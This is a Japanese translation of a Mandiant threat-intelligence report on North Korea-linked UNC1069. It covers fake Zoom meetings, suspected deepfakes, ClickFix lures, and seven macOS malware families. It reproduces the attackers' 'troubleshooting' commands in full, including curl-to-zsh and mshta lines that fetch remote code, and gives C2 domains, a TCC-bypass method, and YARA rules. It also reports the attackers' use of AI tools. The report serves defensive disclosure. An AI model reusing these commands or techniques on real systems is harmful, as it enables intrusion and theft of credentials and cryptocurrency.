UNC1069、新たなツールと AI を活用したソーシャル エンジニアリングで暗号通貨セクターを標的に
Mandiant
※この投稿は米国時間 2026 年 2 月 10 日に、Google Cloud blog に投稿されたものの抄訳です。
執筆者: Ross Inman、Adrian Hernandez
はじめに
北朝鮮の脅威アクターは、その攻撃手口を進化させ続け、暗号通貨業界と分散型金融(DeFi)業界を標的とするようになっています。Mandiant は最近、このセクターのあるフィンテック企業を標的とした侵入について調査しました。この侵入は、少なくとも 2018 年から活動している金銭目的の脅威アクターである UNC1069 によるものと考えられます。この調査で、カスタマイズされた侵入の結果、類のない 7 種類のマルウェア ファミリーが展開されたことが明らかになりました。これには、ホストと被害者のデータを取り込むように設計された新しいツールセット(SILENCELIFT、DEEPBREATH、CHROMEPUSH)が含まれます。この侵入で利用されたソーシャル エンジニアリング スキームには、侵害された Telegram アカウント、偽の Zoom 会議、ClickFix 感染ベクトルが含まれ、被害者を欺くために AI が生成した動画が使用されたことが報告されています。
これらの戦術は、2025 年 11 月公開の「GTIG AI 脅威トラッカー: 脅威アクターによる AI ツールの使用の進化」で初めて文書化された、ある変化に基づいています。Google Threat Intelligence Group(GTIG)はこの中で、UNC1069 が生産性向上だけを目的として AI を利用する段階から、AI を活用した新手の「おとり」を実運用に展開する段階に移行したことを特定しました。単一のホストにこれだけの数のツールが展開されたことから、認証情報、ブラウザデータ、セッション トークンを窃取し、効率よく金銭を窃盗しようという強い意思がうかがわれます。UNC1069 のこれまでの標的は、暗号通貨スタートアップ、ソフトウェア デベロッパー、ベンチャー キャピタル企業でしたが、既知のダウンローダである SUGARLOADER とともに複数の新しいマルウェア ファミリーを展開したことから、その能力が大幅に拡大していることがわかります。
初期ベクトルとソーシャル エンジニアリング
被害者は、ある暗号通貨企業の経営幹部の Telegram アカウントから連絡を受けました。このアカウントは、UNC1069 によって侵害されたものでした。Mandiant は、別のソーシャル メディア プロフィールから投稿された、このアカウントの真の所有者による主張を確認しました。その投稿では、Telegram アカウントが乗っ取られたと、自身の関係者に警告していました。しかし、Mandiant はこの経営幹部が本人であることを確認できず、連絡を取ることもできませんでした。UNC1069 は被害者とやり取りし、信頼関係を築いた後、30 分間の会議をスケジュールするための Calendly リンクを送信しました。被害者がその会議リンクをクリックすると、脅威アクターのインフラストラクチャ(zoom[.]uswe05[.]us)でホストされている偽の Zoom 会議にリダイレクトされました。
被害者は通話中に別の暗号通貨企業の CEO の動画を見せられたと報告していますが、その動画はディープフェイクであったと考えられます。Mandiant はフォレンジック証拠を復元できず、この特定の事例で AI モデルが使用されたことを独自に検証できませんでしたが、報告された策略は、同様の特徴を備え、ディープフェイクが使用されたとされている、以前に公表されたインシデントと類似しています。
「会議」に入ると偽のビデオ通話が始まり、被害者は音声に問題があるかのような印象を受けましたが、これは脅威アクターによる策略であり、その目的は ClickFix 攻撃(脅威アクターがユーザーに、それらしく見える技術的な問題に対処するためにシステムでトラブルシューティング コマンドを実行させる攻撃手法)でした。復元されたウェブページには、「トラブルシューティング」のために実行すべき 2 つのコマンドセット(macOS システム用と Windows システム用)が記載されていました。一連のコマンドの中に、感染チェーンを起動させる 1 つのコマンドが埋め込まれていました。
Mandiant は、UNC1069 がこれらの手法を使用して、ソフトウェア企業とその開発者、ベンチャー キャピタル企業とその従業員や経営幹部など、暗号通貨業界の企業と個人の両方を標的にしていると考えています。偽の Zoom 会議が使用された事例や、ソーシャル エンジニアリングの段階で脅威アクターが画像や動画を編集するために AI ツールを使用した事例があります。
GTIG による報告にもあるように、UNC1069 は、ツール開発、オペレーショナル リサーチの実施、偵察段階での支援に Gemini などのツールを使用することがわかっています。さらに、Kaspersky は最近、UNC1069 と共通する部分がある脅威アクター Bluenoroff も、GTP-4o モデルを使用して画像を改ざんしていると主張しました。このことは、生成 AI ツールの採用と、攻撃者のライフサイクルへの AI の統合が進んでいることを示しています。
感染チェーン
Mandiant が実施したインシデント対応エンゲージメントでは、被害者が図 1 に示されている「トラブルシューティング」コマンドを実行しました。そしてこれが、macOS デバイスの初期感染につながりました。
system_profiler SPAudioData
softwareupdate --evaluate-products --products audio --agree-to-license
curl -A audio -s hxxp://mylingocoin[.]com/audio/fix/6454694440 | zsh
system_profiler SPSoundCardData
softwareupdate --evaluate-products --products soundcard
system_profiler SPSpeechData
softwareupdate --evaluate-products --products speech --agree-to-license
図 1: ソーシャル エンジニアリングの段階で共有された攻撃者のコマンド
偽の Zoom 通話のウェブページからは、Windows オペレーティング システムを標的とした「トラブルシューティング」コマンドセットも復元されました。
setx audio_volume 100
pnputil /enum-devices /connected /class "Audio"
mshta hxxp://mylingocoin[.]com/audio/fix/6454694440
wmic sounddev get Caption, ProductName, DeviceID, Status
msdt -id AudioPlaybackDiagnostic
exit
図 2: Windows が検出されたときに共有される攻撃者のコマンド
感染チェーンの起動直後に AppleScript が実行されたことを示す証拠が記録されましたが、システム上の常駐フォレンジック アーティファクトから AppleScript ペイロードの内容を復元することはできませんでした。AppleScript の実行後、不正な Mach-O バイナリがシステムに展開されました。
システムに展開された最初の不正な実行可能ファイルは、Mandiant が WAVESHAPER として追跡しているパックされたバックドアでした。WAVESHAPER は、Mandiant が HYPERCALL として追跡しているダウンローダと後続のその他のツールを展開するパイプ役として機能し、攻撃者がシステムに築く足場を大幅に拡大しました。
Mandiant は、この侵入中に HYPERCALL ダウンローダが 3 回使用されたことを確認しました。
-
Mandiant が HIDDENCALL として追跡している、後続のバックドア コンポーネントを実行し、侵害されたシステムへのキーボード操作によるアクセスを可能にした
-
Mandiant が SUGARLOADER として追跡している別のダウンローダを展開した
-
Mandiant が SILENCELIFT として追跡している足掛かり的なバックドア(コマンド&コントロール(C2 または C&C)サーバーにシステム情報をビーコンするもの)を容易に実行できるようにした


図 3: 攻撃チェーン
XProtect
XProtect は、macOS に組み込まれているウイルス対策テクノロジーです。当初はシグネチャベースの検出のみを実行していましたが、動作ベースの検出を実装するために XProtect Behavioral Service(XBS)が導入されました。プログラムが Apple によって定義された動作ベースのルールのいずれかに違反すると、違反したプログラムに関する情報が XProtect データベース(XPdb)に記録されます。XPdb は /var/protected/xprotect/XPdb にある SQLite 3 データベースです。
シグネチャベースの検出とは異なり、動作ベースの検出では、XProtect が問題のあるプログラムを隔離したり、その実行をブロックしたりすることはありません。
Mandiant は、XPdb から、1 つ以上の XBS ルールに違反したプログラムのファイルパスと SHA256 ハッシュを復元しました。これには、削除されて復元できなかった不正なプログラムに関する情報が含まれていました。侵害されたシステムではエンドポイント検知対応(EDR)ソリューションが使用されていませんでしたが、XPdb には検出のタイムスタンプも含まれているため、Mandiant は、初期の感染チェーンから次の段階のマルウェアの展開まで、マルウェアの実行に関連するイベントのシーケンスを特定できました。
データの収集と永続化
Mandiant は、脅威アクターがアクセス期間中に展開した 2 つの異なるデータ マイナー、DEEPBREATH と CHROMEPUSH を特定しました。
Swift で記述されたデータ マイナーである DEEPBREATH は、HYPERCALL の後続のバックドア コンポーネントである HIDDENCALL を介して展開されました。DEEPBREATH は、TCC(透明性、同意、制御)データベースを操作してファイル システムへの広範なアクセス権を取得することで、以下を窃取します。
-
ユーザーのキーチェーンからの認証情報
-
Chrome、Brave、Edge のブラウザデータ
-
2 種類のバージョンの Telegram のユーザーデータ
-
Apple のメモアプリのユーザーデータ
DEEPBREATH は、標的とするデータを一時フォルダの場所にステージングし、ZIP アーカイブに圧縮します。このアーカイブが、curl コマンドライン ユーティリティを使用してリモート サーバーに引き出されました。
また、Mandiant は、HYPERCALL が別のマルウェア ローダーを展開したことも特定しました。このローダーは、コード ファミリー SUGARLOADER の一部として追跡されています。永続性メカニズムは、SUGARLOADER の起動デーモンとしてインストールされました。これにより、macOS の起動プロセス中にマルウェアを実行するようにシステムが構成されました。起動デーモンは、プロパティ リスト(Plist)ファイル /Library/LaunchDaemons/com.apple.system.updater.plist を通じて構成されていました。起動デーモン Plist ファイルの内容を図 4 に示します。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.system.updater</string>
<key>ProgramArguments</key>
<array>
<string>/Library/OSRecovery/SystemUpdater</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<false/>
<key>ExitTimeOut</key>
<integer>10</integer>
</dict>
</plist>
図 4: SUGARLOADER を実行するように構成された起動デーモン Plist
調査中に復元された SUGARLOADER サンプルには、永続性を確立するための内部機能がありませんでした。そのため、Mandiant は、他の不正なプログラムのいずれかによって付与されたアクセス権を介して、起動デーモンが手動で作成されたと評価しています。
Mandiant は、SUGARLOADER が C++ で記述されたデータ マイナーである CHROMEPUSH の展開にのみ使用されたと考えています。CHROMEPUSH は、Google ドキュメントをオフラインで編集するための拡張機能であるかのように装った拡張機能を Google Chrome ブラウザと Brave ブラウザに展開しました。CHROMEPUSH には、キー操作の記録、ユーザー名とパスワードの入力の監視、ブラウザの Cookie 抽出のための機能も備わっていたため、ホストでのデータ収集を完結できました。
注目の脅威: UNC1069
UNC1069 は、北朝鮮との関連性があると高い角度で疑われている金銭目的の脅威アクターであり、2018 年から Mandiant が追跡しています。Mandiant は、この脅威アクターが、TTP(戦術、手法、手順)、ツール、標的を進化させていると考えています。少なくとも 2023 年以降、このグループは、スピア フィッシング手法と従来の金融(TradFi)業界を標的とする手法から、中央集権型取引所(CEX)、金融機関のソフトウェア開発者、ハイテク企業、ベンチャー キャピタル ファンドの個人など、Web3 業界を標的とする手法に移行しています。2025 年の暗号通貨盗難への UNC1069 の影響は UNC4899 などの他のグループと比較して小さかったものの、UNC1069 は依然として金銭目的で中央集権型取引所や企業、個人を標的とするアクティブな脅威であり続けています。


図 5: UNC1069 の被害者分布図
Mandiant は、このグループが 2025 年に金融サービス業界と暗号通貨業界を積極的に標的としていたと考えています。業種は、決済、仲介、ステーキング、ウォレット インフラストラクチャにわたります。
UNC1069 のオペレーターは、これらの業種で Web3 分野の個人と企業ネットワークの両方を標的にしましたが、UNC1069 などの北朝鮮との関連が疑われるグループは、過去にさまざまな手法を使用して個人用デバイスから企業用デバイスへと侵入を拡大する機能を有していたことがわかっています。しかし、この特定のインシデントについて、Mandiant は、単一の個人を標的として、単一のホストに異常なまでに大量のツールが展開されたことを把握しました。この証拠から、このインシデントは、可能な限り多くのデータを 2 つの目的のために収集することを狙った標的型攻撃であったことを確認できます。その目的とは、暗号通貨の窃盗と、被害者の身元情報とデータを利用した将来のソーシャル エンジニアリング キャンペーンの推進です。
その後、Mandiant は侵害されたシステムのフォレンジック分析中に 7 種類のマルウェア ファミリーを特定しました。そのうち、調査前に Mandiant がすでに追跡していたのは SUGARLOADER のみでした。
付録: 手法に関する追加情報
WAVESHAPER
WAVESHAPER は、macOS を標的とする C++ で記述されたバックドアで、不明なパッカーによってパックされています。このバックドアは、コマンドライン パラメータで指定されたコマンド&コントロール(C2 または C&C)サーバーから取得した任意のペイロードをダウンロードして実行します。WAVESHAPER は、攻撃者のインフラストラクチャと通信するために、指定されたコマンドライン引数に応じて、HTTP または HTTPS 向けの curl ライブラリを利用します。
WAVESHAPER は、親セッションから切り離されてバックグラウンドで実行される子プロセスに自身をフォークすることで、デーモンとしても実行され、次のシステム情報を収集します。これらの情報は、HTTP POST リクエストで C&C サーバーに送信されます。
-
ランダムな被害者の UID(16 文字の英数字)
-
被害者のユーザー名
-
被害を受けたマシンの名前
-
システム タイムゾーン
-
システム起動時間(sysctlbyname("kern.boottime") を使用)
-
最近インストールされたソフトウェア
-
ハードウェアの機種
-
CPU 情報
-
OS バージョン
-
実行中のプロセスの一覧
C&C サーバーからダウンロードされたペイロードは、正規表現パターン /tmp/\.[A-Za-z0-9]{6} に一致するファイル システムの場所に保存されます。
HYPERCALL
HYPERCALL は、指定された C&C サーバーから不正な動的ライブラリを取得する、macOS 向けに設計された Go ベースのダウンローダです。C&C のアドレスは、バイナリとともにディスク上に存在する必要がある RC4 で暗号化された構成ファイルから抽出されます。ダウンロードされたライブラリはリフレクティブに読み込まれ、メモリ内で実行されます。
Mandiant は、新しいダウンローダが別の言語(C++ ではなく Golang)で記述され、開発プロセスが異なるにもかかわらず、HYPERCALL は SUGARLOADER の影響を受けていると考えています。たとえば、C&C インフラストラクチャに外部構成ファイルを使用する点、構成ファイルの復号に RC4 アルゴリズムを使用する点、リフレクティブなライブラリ インジェクションの機能がある点などが類似しています。
特に注目すべき点は、HYPERCALL の一部の要素が不完全であるように見えることです。たとえば、使い道のない構成パラメータが存在することは、他の北朝鮮関連の脅威アクターと比較して、UNC1069 のマルウェア デベロッパーの一部が技術的にあまり熟練していないことを示しています。
HYPERCALL は、C&C ホストの接続先となるコマンドライン引数を 1 つ受け取ります。このコマンドは、/Library/SystemSettings/.CacheLogs.db にある構成ファイルに保存されます。HYPERCALL は、ハードコードされた 16 バイトの RC4 暗号鍵を利用して、この構成ファイルに保存されたデータの復号も行います。これは、他の UNC1069 マルウェア ファミリーでも見られるパターンです。
HYPERCALL の構成では、ダウンローダが TCP ポート 443 で次の C&C サーバーと通信するように指定されていました。
-
wss://supportzm[.]com -
wss://zmsupport[.]com
接続すると、HYPERCALL は次のメッセージを使用して C&C に登録し、「1」というレスポンス メッセージを待機します。
{
"type": "loader",
"client_id": <client_id>
}
図 6: C&C サーバーに送信された登録メッセージ
C&C サーバーに登録した HYPERCALL は、動的ライブラリのダウンロード リクエストを送信します。
{
"type": "get_binary",
"system": "darwin"
}
図 7: C&C サーバーに送信された動的ライブラリのダウンロード リクエスト メッセージ
C&C サーバーは、まずダウンロードする動的ライブラリに関する情報でこのリクエストに応答し、その後に動的ライブラリのコンテンツを送信します。
{
"type": <unknown>,
"total_size": <total_size>
}
図 8: C&C サーバーが受信した動的ライブラリのダウンロード応答メッセージ
C&C サーバーは、すべての動的ライブラリ コンテンツが送信されたことを、次のメッセージで HYPERCALL クライアントに通知します。
{
"type": "end_chunks"
}
図 9: 動的ライブラリ コンテンツの終了を示すために C&C サーバーから送信されたメッセージ
動的ライブラリを受け取ると、HYPERCALL は最終の確認メッセージを送信します。
{
"type": "down_ok"
}
図 10: HYPERCALL が C&C サーバーに送信した最終の確認メッセージ
HYPERCALL は、3 秒待機してから、リフレクティブ ローディングを使用してダウンロードした動的ライブラリをメモリ内で実行します。
HIDDENCALL
Mandiant は、単一の同期された攻撃ライフサイクルのコンポーネントとして、UNC1069 が HYPERCALL ダウンローダと HIDDENCALL バックドアを利用している可能性が非常に高いと評価しています。
その根拠は、HYPERCALL がHIDDENCALLをダウンロードし、システムメモリにリフレクティブ インジェクションしたというフォレンジック調査結果です。さらに、技術的な調査により、HYPERCALL の Golang バイナリと HIDDENCALL の事前(AOT)変換ファイルの間に著しいコードの重複があることが明らかになりました。どちらのファミリーも同じライブラリを利用し、関数について同じ命名規則 t_(例: t_loader と t_)に従っています。このことは、開発環境が統合されており、攻撃手口が共有されていることを強く示唆しています。このようなカスタムの統合ツールスイートを使用していることから、セキュリティ対策を回避し、標的ネットワークで長期的な永続性を確保するための特殊な機能を開発する能力に関して、UNC1069 の技術的な熟練度がどの程度であるかをうかがい知ることができます。
Rosetta キャッシュ分析
Mandiant は以前に、Rosetta キャッシュのファイルを使用してプログラムの実行を証明する方法と、AOT 変換ファイルに存在するシンボルの分析を通じてマルウェアを特定する方法に関するブログを投稿しました。
HYPERCALL は、NSCreateObjectFileImageFromMemory API 呼び出しを利用して、メモリから後続のバックドア コンポーネントをリフレクティブに読み込みます。NSCreateObjectFileImageFromMemory が呼び出されると、メモリから読み込まれる実行可能ファイルが、正規表現パターン NSCreateObjectFileImageFromMemory-[A-Za-z0-9]{8} に一致するファイル名で、/tmp/ フォルダの下のディスクに一時的に書き込まれます。
この本質的な動作と、x86_64 アーキテクチャ用にコンパイルされた HIDDENCALL ペイロードが組み合わさった結果、リフレクティブに読み込まれた Mach-O 実行可能ファイル用の Rosetta キャッシュ AOT ファイルが作成されました。Mandiant は、この Rosetta キャッシュ ファイルの分析を通じて、リフレクティブに読み込まれた Mach-O 実行可能ファイルが、Mandiant が HIDDENCALL として追跡している、やはり Golang で記述された後続のバックドア コンポーネントである可能性が非常に高いと評価しました。
図 11~図 14 は、HIDDENCALL の実行に関連付けられた AOT ファイルから特定されたシンボルとプロジェクト ファイルパス、および Mandiant が分析した HYPERCALL サンプルです。これらを使用して、HIDDENCALL の機能を評価しました。
_t/common.rc4_encode
_t/common.resolve_server
_t/common.load_config
_t/common.save_config
_t/common.generate_uid
_t/common.send_data
_t/common.send_error_message
_t/common.get_local_ip
_t/common.get_info
_t/common.rsp_get_info
_t/common.override_env
_t/common.exec_command_with_timeout
_t/common.exec_command_with_timeout.func1
_t/common.rsp_exec_cmd
_t/common.send_file
_t/common.send_file.deferwrap1
_t/common.add_file_to_zip
_t/common.add_file_to_zip.deferwrap1
_t/common.zip_file
_t/common.zip_file.func1
_t/common.zip_file.deferwrap2
_t/common.zip_file.deferwrap1
_t/common.rsp_zdn
_t/common.rsp_dn
_t/common.receive_file
_t/common.receive_file.deferwrap1
_t/common.unzipFile
_t/common.unzipFile.deferwrap1
_t/common.rsp_up
_t/common.rsp_inject_explorer
_t/common.rsp_inject
_t/common.wipe_file
_t/common.rsp_wipe_file
_t/common.send_cmd_result
_t/common.rsp_new_shell
_t/common.rsp_exit_shell
_t/common.rsp_enter_shell
_t/common.rsp_leave_shell
_t/common.rsp_run
_t/common.rsp_runx
_t/common.rsp_test_conn
_t/common.rsp_check_event
_t/common.rsp_sleep
_t/common.rsp_pv
_t/common.rsp_pcmd
_t/common.rsp_pkill
_t/common.rsp_dir
_t/common.rsp_state
_t/common.rsp_get_cfg
_t/common.rsp_set_cfg
_t/common.rsp_chdir
_t/common.get_file_property
_t/common.get_file_property.func1
_t/common.rsp_file_property
_t/common.do_work
_t/common.do_work.deferwrap1
_t/common.Start
_t/common.init_env
_t/common.get_config_path
_t/common.get_startup_path
_t/common.get_launch_plist_path
_t/common.get_os_info
_t/common.get_process_uid
_t/common.get_file_info
_t/common.get_dir_entries
_t/common.is_locked
_t/common.check_event
_t/common.change_dir
_t/common.run_command_line
_t/common.run_command_line.func1
_t/common.copy_file
_t/common.copy_file.deferwrap2
_t/common.copy_file.deferwrap1
_t/common.setup_startup
_t/common.file_exist
_t/common.session_work
_t/common.exit_shell
_t/common.restart_shell
_t/common.start_shell_reader
_t/common.watch_shell_output_loop
_t/common.watch_shell_output_loop.func1
_t/common.watch_shell_output_loop.func1.deferwrap1
_t/common.exec_with_shell
_t/common.start_shell_reader.func1
_t/common.do_work.jump513
_t/common.g_shoud_fork
_t/common.CONFIG_CRYPT_KEY
_t/common.g_conn
_t/common.g_shell_cmd
_t/common.g_shell_pty
_t/common.stop_reader_chan
_t/common.stop_watcher_chan
_t/common.g_config_file_path
_t/common.g_output_buffer
_t/common.g_cfg
_t/common.g_use_shell
_t/common.g_working
_t/common.g_out_changed
_t/common.g_reason
_t/common.g_outputMutex
図 11: Mandiant が分析した HIDDENCALL AOT ファイルに含まれる、注目すべき Golang シンボル
t_loader/common
t_loader/inject_mac
t_loader/inject_mac._Cfunc_InjectDylibFromMemory
t_loader/inject_mac.Inject
t_loader/inject_mac.Inject.func1
t_loader/common.rc4_encode
t_loader/common.generate_uid
t_loader/common.load_config
t_loader/common.rc4_decode
t_loader/common.save_config
t_loader/common.resolve_server
t_loader/common.receive_file
t_loader/common.Start
t_loader/common.check_server_urls
t_loader/common.inject_pe
t_loader/common.init_env
t_loader/common.get_config_path
図 12: Mandiant が分析した HYPERCALL AOT ファイルに含まれる、注目すべき Golang シンボル
/Users/mac/Documents/go_t/t/../build/mac/t.a(000000.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000004.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000005.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000006.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000007.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000008.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000009.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000010.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000011.o)
図 13: Mandiant が分析した HIDDENCALL AOT ファイルに含まれるプロジェクト ファイルパス
/Users/mac/Documents/go_t/t_loader/inject_mac/inject.go
/Users/mac/Documents/go_t/t_loader/common/common.go
/Users/mac/Documents/go_t/t_loader/common/common_unix.go
/Users/mac/Documents/go_t/t_loader/exe.go
図 14: Mandiant が分析した HYPERCALL AOT ファイルに含まれるプロジェクト ファイルパス
DEEPBREATH
侵入中に特定された新しい macOS マルウェアは DEEPBREATH でした。これは、macOS のプライバシーの重要なコンポーネントである TCC(透明性、同意、制御)データベースをバイパスするように設計された、高度なデータ マイナーです。
Swift で記述された DEEPBREATH の主な目的は、ファイルや機密性の高い個人情報へのアクセス権を取得することです。
TCC のバイパス
DEEPBREATH は、ユーザーに権限昇格を求めるプロンプトを表示するのではなく、ユーザーの TCC データベース(TCC.db)を直接操作します。ライブ データベースの直接的な変更を防止する保護を回避するために、次の一連のステップを実行します。
-
ステージング: Finder アプリケーションを利用してユーザーの TCC フォルダの名前を変更し、
TCC.dbファイルを一時的なステージング場所にコピーする。これにより、データベースを簡単に変更できるようになる。 -
権限のインジェクション: ステージングが完了すると、マルウェアはプログラムによって権限を挿入し、デスクトップ、ドキュメント、ダウンロードなどの重要なユーザー フォルダへの広範なアクセス権を事実上自らに付与する。
-
復元: 最後に、変更したデータベースを元の場所に復元し、DEEPBREATH が動作するために必要なファイル システムへの広範なアクセス権を付与する。
この手法が可能になるのは、Finder アプリケーションがフルディスクアクセス(FDA)権限を持っているためです。FDA 権限は、macOS でユーザー固有の TCC データベースを変更するために必要な権限です。
オペレーションが中断されないように、マルウェアは AppleScript の -autodata 引数を使用してバックグラウンドで再起動し、最初のプロセスから自らを切り離して、ユーザーのセッション全体でサイレントにデータ収集を続行します。
アクセス権限が昇格すると、DEEPBREATH は体系的に次のような価値の高いデータを標的とします。
-
認証情報: ユーザーのキーチェーン(
login.keychain-db)からログイン認証情報を盗む。 -
ブラウザデータ: Google Chrome、Brave、Microsoft Edge などの主要なブラウザの Cookie、ログインデータ、ローカル拡張機能の設定を、すべてのユーザー プロファイルからコピーする。
-
メッセージとメモ: 2 種類のバージョンの Telegram からユーザーデータを引き出し、Apple のメモアプリのデータベース ファイルを標的にしてコピーする。
DEEPBREATH は、中核的なオペレーティング システムのセキュリティ機能を回避して広範囲にわたるデータ窃盗を行うことに重点を置いた攻撃ベクトルの代表的な例です。
SUGARLOADER
SUGARLOADER は C++ で記述されたダウンローダで、過去に UNC1069 の侵入に関連していたことがあります。
この侵入に関する調査結果から、SUGARLOADER は CHROMEPUSH の展開にのみ使用されていたことがわかりました。SUGARLOADER がコマンド引数なしで実行された場合、バイナリは被害者のコンピュータの /Library/OSRecovery/com.apple.os.config にある既存の構成ファイルを確認します。
構成は RC4 を使用して暗号化されており、ハードコードされた 32 バイトの鍵はバイナリ内にあります。
復号された構成データには、次の段階を示す URL が最大 2 つ含まれています。感染の次の段階をダウンロードするために、これらの URL に対してクエリが実行されます。最初の URL が適切な実行可能ペイロードで応答した場合、2 番目の URL に対してクエリは実行されません。
Mandiant が分析したサンプルで復号された SUGARLOADER の構成には、次の C&C サーバーが含まれていました。
-
breakdream[.]com:443 -
dreamdie[.]com:443
CHROMEPUSH
この侵入時の 2 つ目のデータマイナーが復元され、CHROMEPUSH と名付けられました。このデータマイナーは C++ で記述されており、Google Chrome や Brave などの Chromium ベースのブラウザを標的とするブラウザ拡張機能としてインストールされ、キー操作、ユーザー名とパスワードの入力、ブラウザの Cookie を収集してウェブサーバーにアップロードします。
CHROMEPUSH は、Chromium ベースのブラウザのネイティブ メッセージング ホストとして自身をインストールすることで、永続性を確立します。Google Chrome の場合、CHROMEPUSH は %HOME%/Library/Application Support/Google/Chrome/NativeMessagingHosts/Google Chrome Docs にコピーされ、対応するマニフェスト ファイル com.google.docs.offline.json が同じディレクトリに作成されます。
{
"name": "com.google.docs.offline",
"description": "Native messaging for Google Docs Offline extension",
"path": "%HOME%/Library/Application Support/Google/Chrome/NativeMessagingHosts/Google Chrome Docs",
"type": "stdio",
"allowed_origins": [ "chrome-extension://hennhnddfkgohngcngmflkmejacokfik/" ]
}
図 15: データマイナーが作成した Google Chrome ネイティブ メッセージング ホストのマニフェスト ファイル
CHROMEPUSH は、自身をネイティブ メッセージング ホストとしてインストールすることで、対応するブラウザが実行されると自動的に実行されるようにします。
ネイティブ メッセージング ホスト メカニズムを介して実行されたデータ マイナーは %HOME%/Library/Application Support/com.apple.os.receipts にベースデータ ディレクトリを作成し、ブラウザの識別を実行します。検出されたブラウザに基づき、対応する識別子でベースデータ ディレクトリ内のサブディレクトリが作成されます。
-
Google Chrome の場合、サブディレクトリの名前は「
c」。 -
Brave ブラウザの場合、サブディレクトリの名前「
b」。 -
Arc の場合、サブディレクトリの名前は「
a」。 -
Microsoft Edge の場合、サブディレクトリの名前は「
e」。 -
それ以外の場合、サブディレクトリの名前は「
u」。
CHROMEPUSH は、ファイルの場所 %HOME%/Library/Application Support/com.apple.os.receipts/setting.db から構成データを読み取ります。構成設定は、JavaScript Object Notation(JSON)形式で解析されます。使用されている JSON 変数の名前から、考えられる使用法がわかります。
-
cap_on: スクリーン キャプチャを行うかどうかを制御すると想定される -
cap_time: スクリーン キャプチャの間隔を制御すると想定される -
coo_on: Cookie にアクセスするかどうかを制御すると想定される -
coo_time: Cookie データにアクセスする間隔を制御すると想定される -
key_on: キー押下を記録するかどうかを制御すると想定される -
C&C の URL
CHROMEPUSH は、収集したデータを %HOME%/Library/Application Support/com.apple.os.receipts/<browser_id>/ ディレクトリ内の一時ファイルにステージングします。
これらのファイルの名前は、次の形式を使用して変更されます。
-
スクリーンショット:
CAYYMMDDhhmmss.dat -
キーロギング:
KLYYMMDDhhmmss.dat -
Cookie:
CK_<browser_identifier><unknown_id>.dat
CHROMEPUSH は、HTTP POST リクエストで収集したデータをステージングして C&C サーバーに送信します。Mandiant が分析したサンプルでは、C&C サーバーは hxxp://cmailer[.]pro:80/upload と特定されました。
SILENCELIFT
SILENCELIFT は、C/C++ で記述された必要最小限のバックドアで、ホスト情報をハードコードされた C&C サーバーにビーコンします。このサンプルで特定された C&C サーバーは support-zoom[.]us でした。
SILENCELIFT は、ハードコードされたファイルパス /Library/Caches/.Logs.db から一意の ID を取得します。このパスは、CHROMEPUSH で使用されるパスと同一である点に注目してください。また、このバックドアはロック画面のステータスも取得し、一意の ID とともに C&C サーバーに送信します。
ルート権限で実行された場合、SILENCELIFT は C&C サーバーにビーコンを送信しながら、Telegram の通信をアクティブに中断できます。
セキュリティ侵害インジケーター
このブログ投稿で概要を説明しているアクティビティを捕捉し特定できるよう、コミュニティ全体を支援する目的で、セキュリティ侵害インジケーター(IOC)を登録ユーザー向け GTI コレクションに含めました。
ネットワーク ベースのインジケーター
ホストベースのインジケーター
YARA ルール
rule G_Backdoor_WAVESHAPER_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
date_created = "2025-11-03"
date_modified = "2025-11-03"
md5 = "c91725905b273e81e9cc6983a11c8d60"
rev = 1
strings:
$str1 = "mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)"
$str2 = "/tmp/.%s"
$str3 = "grep \"Install Succeeded\" /var/log/install.log | awk '{print $1, $2}'"
$str4 = "sysctl -n hw.model"
$str5 = "sysctl -n machdep.cpu.brand_string"
$str6 = "sw_vers --ProductVersion"
condition:
all of them
}rule G_Backdoor_WAVESHAPER_2 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
date_created = "2025-11-03"
date_modified = "2025-11-03"
md5 = "eb7635f4836c9e0aa4c315b18b051cb5"
rev = 1
strings:
$str1 = "__Z10RunCommand"
$str2 = "__Z11GenerateUID"
$str3 = "__Z11GetResponse"
$str4 = "__Z13WriteCallback"
$str5 = "__Z14ProcessRequest"
$str6 = "__Z14SaveAndExecute"
$str7 = "__Z16MakeStatusString"
$str8 = "__Z24GetCurrentExecutablePath"
$str9 = "__Z7Execute"
condition:
all of them
}rule G_Downloader_HYPERCALL_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
date_created = "2025-10-24"
date_modified = "2025-10-24"
rev = 1
strings:
$go_build = "Go build ID:"
$go_inf = "Go buildinf:"
$lib1 = "/inject_mac/inject.go"
$lib2 = "github.com/gorilla/websocket"
$func1 = "t_loader/inject_mac.Inject"
$func2 = "t_loader/common.rc4_decode"
$c1 = { 48 BF 00 AC 23 FC 06 00 00 00 0F 1F 00 E8 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8B 32 48 8B 52 ?? 48 8B 76 ?? 48 89 CF 48 89 D9 48 89 C3 48 89 D0 FF D6 }
$c2 = { 48 89 D6 48 F7 EA 48 01 DA 48 01 CA 48 C1 FA 1A 48 C1 FE 3F 48 29 F2 48 69 D2 00 E1 F5 05 48 29 D3 48 8D 04 19 }
condition:
(uint32(0) == 0xfeedface or uint32(0) == 0xcafebabe or uint32(0) == 0xbebafeca or uint32(0) == 0xcefaedfe or uint32(0) == 0xfeedfacf or uint32(0) == 0xcffaedfe) and all of ($go*) and any of ($lib*) and any of ($func*) and all of ($c*)
}rule G_Backdoor_SILENCELIFT_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
md5 = "4e4f2dfe143ba261fd8a18d1c4b58f2e"
date_created = "2025/10/23"
date_modified = "2025/10/28"
rev = 2
strings:
